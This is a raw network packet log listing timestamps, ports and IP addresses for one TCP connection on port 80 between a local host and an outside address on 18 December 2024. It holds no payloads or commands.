Dec 18, 2024 19:08:48.614207983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.614289045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.614325047 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.614381075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.621252060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.621329069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.621368885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.621423960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.628336906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.628386021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.628418922 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.628454924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.635113001 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.635194063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.635210991 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.635267019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.641906023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.641999960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.642020941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.642096996 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.648683071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.648756981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.648837090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.648890972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.655420065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.655487061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.655555964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.655602932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.662102938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.662168980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.662206888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.662256956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.668910027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.668965101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.668976068 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.669015884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.675523043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.675586939 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.675601006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.675648928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.682231903 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.682317019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.682372093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.682424068 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.689042091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.689110994 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.689218044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.689265966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.695444107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.695482016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.695528984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.695564032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.701915979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.701952934 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.701991081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.702020884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.708363056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.708444118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.708450079 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.708497047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.714760065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.714854956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.714879036 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.714932919 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.721183062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.721266031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.721333027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.721389055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.727693081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.727755070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.727813005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.727869987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.733973980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.734045982 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.734103918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.734154940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.740279913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.740369081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.740386963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.740443945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.746345043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.746423006 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.746444941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.746501923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.752527952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.752599001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.752640009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.752691031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.758550882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.758650064 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.758673906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.758729935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.764857054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.764921904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.764940023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.764991999 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.770672083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.770724058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.770824909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.770883083 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.776717901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.776777983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.776793957 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.776845932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.782723904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.782768011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.782788992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.782823086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.788463116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.788552046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.788556099 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.788630962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.794244051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.794327021 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.794337988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.794377089 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.800029039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.800111055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.800152063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.800194025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.805870056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.805949926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.805954933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.805999994 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.811579943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.811647892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.811727047 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.811772108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.817358017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.817433119 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.817435980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.817471981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.822881937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.822942972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.823024035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.823066950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.828500986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.828615904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.828696012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.834157944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.834232092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.834242105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.834295988 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.839791059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.839847088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.839864016 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.839920044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.845525026 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.845585108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.845601082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.845628977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.851041079 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.851119041 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.851133108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.851181984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.856654882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.856697083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.856726885 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.856754065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.861980915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.862066031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.862095118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.862154007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.867497921 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.867584944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.867599010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.867647886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.872921944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.872989893 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.873017073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.873105049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.878386021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.878459930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.878467083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.878535986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.883810043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.883887053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.883919001 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.883971930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.889183044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.889259100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.889264107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.889293909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.894539118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.894644022 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.894691944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.894746065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.899790049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.899857044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.899868965 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.899910927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.905086994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.905154943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.905195951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.905246973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.910378933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.910415888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.910459995 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.910491943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.915471077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.915534019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.915580034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.915620089 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.920708895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.920774937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.920778990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.920815945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.925959110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.926054955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.926068068 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.926095009 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.931147099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.931184053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.931224108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.931253910 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.936188936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.936227083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.936259985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.936285973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.941282988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.941370010 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.941376925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.941421032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.946351051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.946388960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.946432114 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.946465969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.951349974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.951423883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.951442003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.951495886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.956494093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.956532001 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.956583023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.956623077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.961450100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.961560011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.961569071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.961626053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.966487885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.966567993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.966571093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.966625929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.971406937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.971426010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.971615076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.976265907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.976340055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.976378918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.976433992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.981237888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.981301069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.981309891 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.981358051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.986001015 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.986056089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.986068964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.986110926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.990767002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.990852118 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.990873098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.990928888 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.995651960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.995685101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.995733976 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.995762110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.000400066 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.000422001 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.000468969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.000494957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.005167007 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.005263090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.005285978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.005342960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.009787083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.009851933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.009871006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.009926081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.014451981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.014517069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.014527082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.014585018 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.019120932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.019191027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.019227982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.019279003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.023771048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.023833990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.023853064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.023906946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.028424025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.028446913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.028490067 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.028513908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.032972097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.033037901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.033071041 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.033127069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.037602901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.037689924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.037695885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.037750959 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.042211056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.042278051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.042303085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.042361975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.046933889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.046956062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.047004938 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.047038078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.051381111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.051446915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.051481962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.051508904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.055911064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.055978060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.055999041 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.056050062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.060544968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.060600996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.060606003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.060658932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.064971924 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.065036058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.065195084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.065248966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.069443941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.069490910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.069521904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.069549084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.074162006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.074186087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.074225903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.074256897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.078486919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.078535080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.078572035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.078625917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.082957029 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.083019018 CET	49739	80	192.168.2.5	31.41.244.11
